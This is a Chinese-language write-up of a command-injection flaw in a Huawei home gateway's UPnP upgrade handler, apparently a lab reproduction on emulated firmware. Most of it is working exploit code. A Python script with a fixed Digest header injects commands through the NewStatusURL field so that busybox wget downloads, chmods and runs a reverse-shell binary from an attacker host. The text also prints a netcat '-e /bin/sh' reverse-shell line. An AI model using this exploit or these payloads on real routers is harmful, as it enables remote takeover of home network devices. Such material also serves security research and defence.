漏洞分析

公开的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到相关的程序为upnp,而关键的语句则位于其中的NewStatusURL 节点中,通过jeb打开upnp搜索字符串newstatusurl最后定位到函数40749c中可以看到

通过getchildnodebyname接受传过来的newstatusURL中的数据,然后未经任何的安全校验便拼接到了v2变量中,最后执行system函数

因此可以通过;来截断前后语句,并在其中放入我们需要执行的命令,即可进行利用

漏洞利用

通过qemu-mips运行,设置固件目录为根目录,然后运行upnp和mic

1
2
3
chroot . ./bin/sh
./bin/upnp
./bin/mic

在运行后会将网卡地址重置,所以在启动后我们重新配置一下ip地址

1
ifconfig eth0 192.168.11.11 netmask 255.255.255.0

之后通过nc连接37215端口测试能否接连

然后在ubuntu中使用python开启http服务,便可以通过脚本中的命令执行漏洞来执行wget命令来请求到ubuntu的http服务中了

不过到这里只是能执行一些命令,而拿到shell才是我们最终的目的,正常的操作想必是直接通过nc反弹,如

/bin/busybox nc 192.168.11.10 8088 -e /bin/sh

但现实是在固件中并没有nc命令

因此我们可以通过mips-linux-gnu-gcc来静态编译一个后门程序反弹shell,并通过上一步中的wget来下载到固件的tmp目录中

之后在对shell程序加运行权限并执行,最后nc连接拿到shell

最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.11.10 -P 8000 -l /tmp/shell -r /shell;/bin/busybox chmod +x /tmp/shell;/tmp/shell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.11.11:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)